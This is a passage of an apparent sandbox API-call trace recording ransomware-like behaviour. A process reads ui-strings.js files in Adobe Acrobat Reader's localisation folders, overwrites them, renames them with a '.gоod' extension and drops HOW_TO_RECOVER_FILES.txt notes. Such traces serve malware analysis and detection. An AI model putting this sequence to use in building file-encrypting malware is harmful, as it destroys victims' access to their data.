lpOldMode=0x1ffeb930) returned 1 [0139.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.836] GetFileType (hFile=0x6e4) returned 0x1 [0139.837] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0139.837] GetFileType (hFile=0x6e4) returned 0x1 [0139.837] WriteFile (in: hFile=0x6e4, lpBuffer=0x39cd440*, nNumberOfBytesToWrite=0xeb0, lpNumberOfBytesWritten=0x1ffeb918, lpOverlapped=0x0 | out: lpBuffer=0x39cd440*, lpNumberOfBytesWritten=0x1ffeb918*=0xeb0, lpOverlapped=0x0) returned 1 [0139.838] CloseHandle (hObject=0x6e4) returned 1 [0139.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.838] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0139.838] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0139.838] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4f914cd8, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xeb0)) returned 1 [0139.838] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0139.839] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\ui-strings.js.gоod")) returned 1 [0139.839] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0139.840] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0139.840] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\it-it\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\it-it\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x6e4 [0139.840] GetFileType (hFile=0x6e4) returned 0x1 [0139.840] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0139.840] GetFileType (hFile=0x6e4) returned 0x1 [0139.841] WriteFile (in: hFile=0x6e4, lpBuffer=0x39d0cb0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x39d0cb0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0139.842] CloseHandle (hObject=0x6e4) returned 1 [0139.842] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0139.842] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp", lpFilePart=0x0) returned 0x68 [0139.843] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0139.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0139.843] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0139.843] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0139.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0139.843] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0139.843] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0139.844] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp", lpFilePart=0x0) returned 0x68 [0139.844] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0139.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33c5ffa, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0139.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0139.844] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1003, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0139.844] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0139.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0139.844] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0139.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba80) returned 1 [0139.845] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x39e0880 | out: lpFileInformation=0x39e0880*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x1003)) returned 1 [0139.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba40) returned 1 [0139.845] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0139.845] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0139.845] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x6e4 [0139.845] GetFileType (hFile=0x6e4) returned 0x1 [0139.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0139.846] GetFileType (hFile=0x6e4) returned 0x1 [0139.846] GetFileSize (in: hFile=0x6e4, lpFileSizeHigh=0x1ffebad8 | out: lpFileSizeHigh=0x1ffebad8*=0x0) returned 0x1003 [0139.846] ReadFile (in: hFile=0x6e4, lpBuffer=0x39e0bd0, nNumberOfBytesToRead=0x1003, lpNumberOfBytesRead=0x1ffeba08, lpOverlapped=0x0 | out: lpBuffer=0x39e0bd0*, lpNumberOfBytesRead=0x1ffeba08*=0x1003, lpOverlapped=0x0) returned 1 [0139.848] CloseHandle (hObject=0x6e4) returned 1 [0140.016] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb410, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.016] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeb930) returned 1 [0140.016] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7dc [0140.017] GetFileType (hFile=0x7dc) returned 0x1 [0140.017] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeb8a0) returned 1 [0140.017] GetFileType (hFile=0x7dc) returned 0x1 [0140.017] WriteFile (in: hFile=0x7dc, lpBuffer=0x39dc898*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1ffeba68, lpOverlapped=0x0 | out: lpBuffer=0x39dc898*, lpNumberOfBytesWritten=0x1ffeba68*=0x1010, lpOverlapped=0x0) returned 1 [0140.021] CloseHandle (hObject=0x7dc) returned 1 [0140.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js", lpFilePart=0x0) returned 0x76 [0140.021] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js.gоod", nBufferLength=0x105, lpBuffer=0x1ffeb5b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js.gоod", lpFilePart=0x0) returned 0x7b [0140.021] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffeba40) returned 1 [0140.021] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js"), fInfoLevelId=0x0, lpFileInformation=0x1ffebb20 | out: lpFileInformation=0x1ffebb20*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33c5ffa, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33c5ffa, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x4fab4a11, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x1010)) returned 1 [0140.021] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffeba00) returned 1 [0140.021] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js.gоod" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\ui-strings.js.gоod")) returned 1 [0140.022] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1ffeb720, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x81 [0140.022] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebc40) returned 1 [0140.022] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ja-jp\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\program files (x86)\\adobe\\acrobat reader dc\\reader\\webresources\\resource0\\static\\js\\app\\dev\\nls\\ja-jp\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7dc [0140.022] GetFileType (hFile=0x7dc) returned 0x1 [0140.022] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbb0) returned 1 [0140.022] GetFileType (hFile=0x7dc) returned 0x1 [0140.023] WriteFile (in: hFile=0x7dc, lpBuffer=0x39e02e0*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1ffebd08, lpOverlapped=0x0 | out: lpBuffer=0x39e02e0*, lpNumberOfBytesWritten=0x1ffebd08*=0x5d0, lpOverlapped=0x0) returned 1 [0140.025] CloseHandle (hObject=0x7dc) returned 1 [0140.025] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0140.025] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr", lpFilePart=0x0) returned 0x68 [0140.025] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.026] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.026] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0140.026] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0140.026] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0140.026] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebbd0) returned 1 [0140.026] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1ffebcd0) returned 1 [0140.027] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr", nBufferLength=0x105, lpBuffer=0x1ffeb770, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr", lpFilePart=0x0) returned 0x68 [0140.027] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Adobe\\Acrobat Reader DC\\Reader\\WebResources\\Resource0\\static\\js\\app\\dev\\nls\\ko-kr\\*", lpFindFileData=0x1ffeb9f0 | out: lpFindFileData=0x1ffeb9f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec322f0 [0140.027] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0140.027] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 1 [0140.027] FindNextFileW (in: hFindFile=0x1ec322f0, lpFindFileData=0x1ffeb9b0 | out: lpFindFileData=0x1ffeb9b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x33ec237, ftCreationTime.dwHighDateTime=0x1d39f5e, ftLastAccessTime.dwLowDateTime=0x33ec237, ftLastAccessTime.dwHighDateTime=0x1d39f5e, ftLastWriteTime.dwLowDateTime=0x33ec237, ftLastWriteTime.dwHighDateTime=0x1d39f5e, nFileSizeHigh=0x0, nFileSizeLow=0xe5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="ui-strings.js", cAlternateFileName="UI-STR~1.JS")) returned 0 [0140.027] FindClose (in: hFindFile=0x1ec322f0 | out: hFindFile=0x1ec322f0) returned 1 [0140.027] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1ffebc10) returned 1 [0140.027] 